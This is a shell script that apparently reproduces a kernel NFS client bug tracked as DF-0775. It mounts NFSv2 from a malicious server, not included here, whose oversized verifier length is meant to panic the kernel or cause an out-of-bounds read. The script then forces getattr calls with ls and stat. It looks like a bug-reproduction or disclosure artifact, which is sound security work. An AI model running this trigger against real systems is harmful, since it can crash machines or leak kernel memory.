#!/bin/sh
# DF-0775 trigger: mount a malicious NFS server that replies with a
# verifier_len = 0x7FFFFFFD, corrupting the kernel XDR cursor and
# panicking (or OOB-reading) the NFS client.
#
# PRECONDITION: the malicious server must already be running:
#   ./malicious_server &
#
# This must be run as root (mount_nfs requires root unless
# vfs.usermount=1).  The bug itself fires in the kernel NFS client
# regardless of who triggered the mount; the "attacker" here is the
# malicious server (which could be MITM or a rogue host).

set -e
SERVER=${SERVER:-127.0.0.1}
MNT=/mnt_df0775

mkdir -p "$MNT" 2>/dev/null || true

echo "[*] mounting NFS from $SERVER (expect kernel panic on first kernel RPC)"
# -2 forces NFSv2 so our trivial MOUNT reply is accepted by mount_nfs.
# -o port=2049 skips rpcbind for NFS; mount_nfs still contacts rpcbind
# (port 111) for MOUNT, which our server also handles.
mount_nfs -2 -o tcp,port=2049,ro,retrans=1,timeo=3,retrycnt=1 \
    ${SERVER}:/x "$MNT" &
MOUNT_PID=$!

# Give the mount a few seconds, then try to trigger a kernel RPC.
sleep 2
if kill -0 $MOUNT_PID 2>/dev/null; then
    echo "[*] mount_nfs still running; trying ls to force a kernel RPC"
    ls "$MNT" 2>/dev/null || true
fi
wait $MOUNT_PID 2>/dev/null || true

echo "[*] attempting access to trigger kernel getattr"
ls "$MNT" 2>/dev/null || true
stat "$MNT" 2>/dev/null || true

echo "[!] if we reach here, the kernel did NOT panic — bug may not reproduce"